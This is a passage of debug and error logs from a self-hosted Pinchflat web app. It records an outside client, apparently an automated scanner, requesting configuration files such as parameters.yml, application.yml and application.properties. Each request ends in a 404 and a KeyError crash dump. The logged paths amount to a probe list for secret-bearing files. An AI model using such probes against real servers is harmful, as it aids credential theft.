"host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3462.0>, params: %{}, path_info: ["app", "config", "parameters"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/app/config/parameters.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-1N6cssYjnMAAHiC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 21:08:45.698 [info] GET /config/parameters.yml 21:08:45.698 [debug] QUERY OK source="settings" db=0.1ms idle=173.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.699 [debug] QUERY OK source="settings" db=0.1ms idle=83.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.699 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.699 [error] #PID<0.3464.0> running PinchflatWeb.Endpoint (connection #PID<0.3463.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/parameters.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/parameters (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3463.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/parameters.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50208}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3464.0>, params: %{}, path_info: ["config", "parameters"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/parameters.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-1VQ29Sw0mkAARQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3463.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/parameters.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50208}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/parameters (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3463.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/parameters.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50208}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3464.0>, params: %{}, path_info: ["config", "parameters"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 (truncated) 21:08:45.833 [info] GET /parameters.yml 21:08:45.833 [debug] QUERY OK source="settings" db=0.1ms idle=217.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.834 [debug] QUERY OK source="settings" db=0.1ms idle=165.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.834 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.834 [error] #PID<0.3466.0> running PinchflatWeb.Endpoint (connection #PID<0.3465.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /parameters.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /parameters (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3465.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/parameters.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50214}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3466.0>, params: %{}, path_info: ["parameters"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/parameters.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-11aGm_Gnw8AARSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3465.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/parameters.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50214}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /parameters (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3465.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/parameters.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50214}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3466.0>, params: %{}, path_info: ["parameters"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, (truncated) 21:08:45.902 [info] GET /config/application.yml 21:08:45.902 [debug] QUERY OK source="settings" db=0.1ms idle=234.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.902 [debug] QUERY OK source="settings" db=0.1ms idle=203.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.903 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.903 [error] #PID<0.3468.0> running PinchflatWeb.Endpoint (connection #PID<0.3467.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/application.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/application (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3467.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/application.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50220}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3468.0>, params: %{}, path_info: ["config", "application"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/application.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-2F1L_jKXL0AARUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3467.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/application.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50220}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/application (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3467.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/application.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50220}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3468.0>, params: %{}, path_info: ["config", "application"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1 (truncated) 21:08:45.970 [info] GET /application.properties 21:08:45.971 [debug] QUERY OK source="settings" db=0.3ms idle=271.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.971 [debug] QUERY OK source="settings" db=0.1ms idle=137.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.971 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.971 [error] #PID<0.3470.0> running PinchflatWeb.Endpoint (connection #PID<0.3469.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /application.properties ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3469.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.properties", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50226}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3470.0>, params: %{}, path_info: ["application"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/application.properties", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-2WBiLp82l8AARWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3469.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.properties", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50226}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" 